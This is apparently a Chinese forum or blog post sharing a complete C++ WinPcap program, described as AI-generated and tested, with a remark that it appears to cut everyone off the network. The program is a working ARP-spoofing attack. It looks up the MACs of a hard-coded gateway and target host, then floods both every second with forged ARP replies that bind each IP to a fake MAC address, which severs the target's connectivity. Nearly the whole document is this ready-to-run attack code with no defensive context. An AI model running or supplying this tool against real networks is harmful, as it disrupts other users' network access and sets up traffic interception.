此程序由AI生成，测试过了，可以使用
但是，貌似全部都会断网

#include <pcap.h>
#include <WinSock2.h>
#include <iostream>
#include <vector>
#include <string>
#include <sstream>
#include <iomanip>
#include <iphlpapi.h>
#pragma warning(disable:4996)

#pragma comment(lib, "wpcap.lib")
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")

using namespace std;

// MAC地址转换函数（字符串转字节数组）
vector<uint8_t> parse_mac(const string& mac_str) {
    vector<uint8_t> mac;
    stringstream ss(mac_str);
    string part;

    while (getline(ss, part, ':')) {
        int byte = stoi(part, nullptr, 16);
        mac.push_back(static_cast<uint8_t>(byte));
    }

    return mac;
}

// IP地址转换函数（字符串转网络序）
uint32_t parse_ip(const string& ip_str) {
    in_addr addr;
    if (inet_pton(AF_INET, ip_str.c_str(), &addr) == 1) {
        return addr.S_un.S_addr;
    }
    return 0;
}

// 构建ARP响应包
vector<uint8_t> build_arp_packet(
    const vector<uint8_t>& src_mac,
    uint32_t src_ip,
    const vector<uint8_t>& dst_mac,
    uint32_t dst_ip
) {
    vector<uint8_t> packet;

    // 以太网帧头（14字节）
    // 目标MAC（6字节）
    packet.insert(packet.end(), dst_mac.begin(), dst_mac.end());
    // 源MAC（6字节）
    packet.insert(packet.end(), src_mac.begin(), src_mac.end());
    // 类型（ARP = 0x0806）
    packet.push_back(0x08); packet.push_back(0x06);

    // ARP数据包（28字节）
    // 硬件类型（以太网 = 1）
    packet.push_back(0x00); packet.push_back(0x01);
    // 协议类型（IPv4 = 0x0800）
    packet.push_back(0x08); packet.push_back(0x00);
    // 硬件地址长度（6）
    packet.push_back(0x06);
    // 协议地址长度（4）
    packet.push_back(0x04);
    // 操作码（响应 = 2）
    packet.push_back(0x00); packet.push_back(0x02);
    // 发送方MAC
    packet.insert(packet.end(), src_mac.begin(), src_mac.end());
    // 发送方IP（网络序）
    packet.push_back((src_ip >> 0) & 0xFF);
    packet.push_back((src_ip >> 8) & 0xFF);
    packet.push_back((src_ip >> 16) & 0xFF);
    packet.push_back((src_ip >> 24) & 0xFF);
    // 目标MAC
    packet.insert(packet.end(), dst_mac.begin(), dst_mac.end());
    // 目标IP（网络序）
    packet.push_back((dst_ip >> 0) & 0xFF);
    packet.push_back((dst_ip >> 8) & 0xFF);
    packet.push_back((dst_ip >> 16) & 0xFF);
    packet.push_back((dst_ip >> 24) & 0xFF);

    return packet;
}
std::string getMacAddress(const std::string& ipAddress) {
    // 初始化Winsock

    // 将IP地址转换为ULONG格式
    ULONG destIp = inet_addr(ipAddress.c_str());
    if (destIp == INADDR_NONE) {
        std::cerr << "Invalid IP address." << std::endl;
        return "";
    }

    // 准备接收MAC地址的缓冲区
    ULONG macAddr[2];
    ULONG macAddrLen = 6;
    memset(macAddr, 0xff, sizeof(macAddr));

    // 调用SendARP函数获取MAC地址
    DWORD ret = SendARP(destIp, 0, macAddr, &macAddrLen);
    if (ret == NO_ERROR) {
        // 将MAC地址转换为字符串格式
        BYTE* macBytes = (BYTE*)macAddr;
        char macStr[18];
        sprintf_s(macStr, sizeof(macStr), "%02X:%02X:%02X:%02X:%02X:%02X",
            macBytes[0], macBytes[1], macBytes[2],
            macBytes[3], macBytes[4], macBytes[5]);
        return std::string(macStr);
    }
    else {
        std::cerr << "Failed to get MAC address. Error code: " << ret << std::endl;
        return "";
    }
}
int main() {
    // 初始化WinSock
    WSADATA wsa;
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        cerr << "WSAStartup failed: " << WSAGetLastError() << endl;
        return 1;
    }

    // 获取网络设备列表
    pcap_if_t* alldevs;
    char errbuf[PCAP_ERRBUF_SIZE];
    if (pcap_findalldevs(&alldevs, errbuf) == -1) {
        cerr << "Error finding devices: " << errbuf << endl;
        return 1;
    }

    // 打印设备列表
    int i = 0;
    for (pcap_if_t* d = alldevs; d != nullptr; d = d->next) {
        cout << "[" << i++ << "] " << d->name;
        if (d->description) cout << " (" << d->description << ")";
        cout << endl;
    }

    // 手动选择设备
    int dev_num;
    cout << "Select device index: ";
    cin >> dev_num;

    pcap_if_t* dev = alldevs;
    for (int j = 0; j < dev_num; j++) {
        if (dev) dev = dev->next;
    }

    if (!dev) {
        cerr << "Invalid device index." << endl;
        return 1;
    }

    // 打开设备
    pcap_t* handle = pcap_open_live(dev->name, 65536, 1, 1000, errbuf);
    if (!handle) {
        cerr << "Could not open device: " << errbuf << endl;
        return 1;
    }

    // 用户输入参数
    string gateway_ip_str = "192.168.6.1";       // 网关IP
    string gateway_mac_str = getMacAddress(gateway_ip_str); // 网关MAC（需替换为真实值）
    string target_ip_str = "192.168.6.100";       // 目标设备IP
    string target_mac_str = getMacAddress(target_ip_str);  // 目标设备MAC
    string fake_mac_str = "AA:BB:CC:DD:EE:FF";    // 伪造的MAC

    // 转换参数
    uint32_t gateway_ip = parse_ip(gateway_ip_str);
    uint32_t target_ip = parse_ip(target_ip_str);
    vector<uint8_t> gateway_mac = parse_mac(gateway_mac_str);
    vector<uint8_t> target_mac = parse_mac(target_mac_str);
    vector<uint8_t> fake_mac = parse_mac(fake_mac_str);

    // 构建两种ARP包
    // 欺骗目标设备：网关的MAC是伪造的
    vector<uint8_t> arp_to_target = build_arp_packet(
        fake_mac, gateway_ip, target_mac, target_ip
    );

    // 欺骗网关：目标设备的MAC是伪造的
    vector<uint8_t> arp_to_gateway = build_arp_packet(
        fake_mac, target_ip, gateway_mac, gateway_ip
    );

    // 发送ARP包（循环发送以维持效果）
    cout << "Sending ARP packets... Press Ctrl+C to stop." << endl;
    while (true) {
        if (pcap_sendpacket(handle, arp_to_target.data(), arp_to_target.size()) != 0) {
            cerr << "Error sending to target: " << pcap_geterr(handle) << endl;
        }
        if (pcap_sendpacket(handle, arp_to_gateway.data(), arp_to_gateway.size()) != 0) {
            cerr << "Error sending to gateway: " << pcap_geterr(handle) << endl;
        }
        Sleep(1000); // 每100ms发送一次
    }

    // 清理资源
    pcap_close(handle);
    pcap_freealldevs(alldevs);
    WSACleanup();

    return 0;
}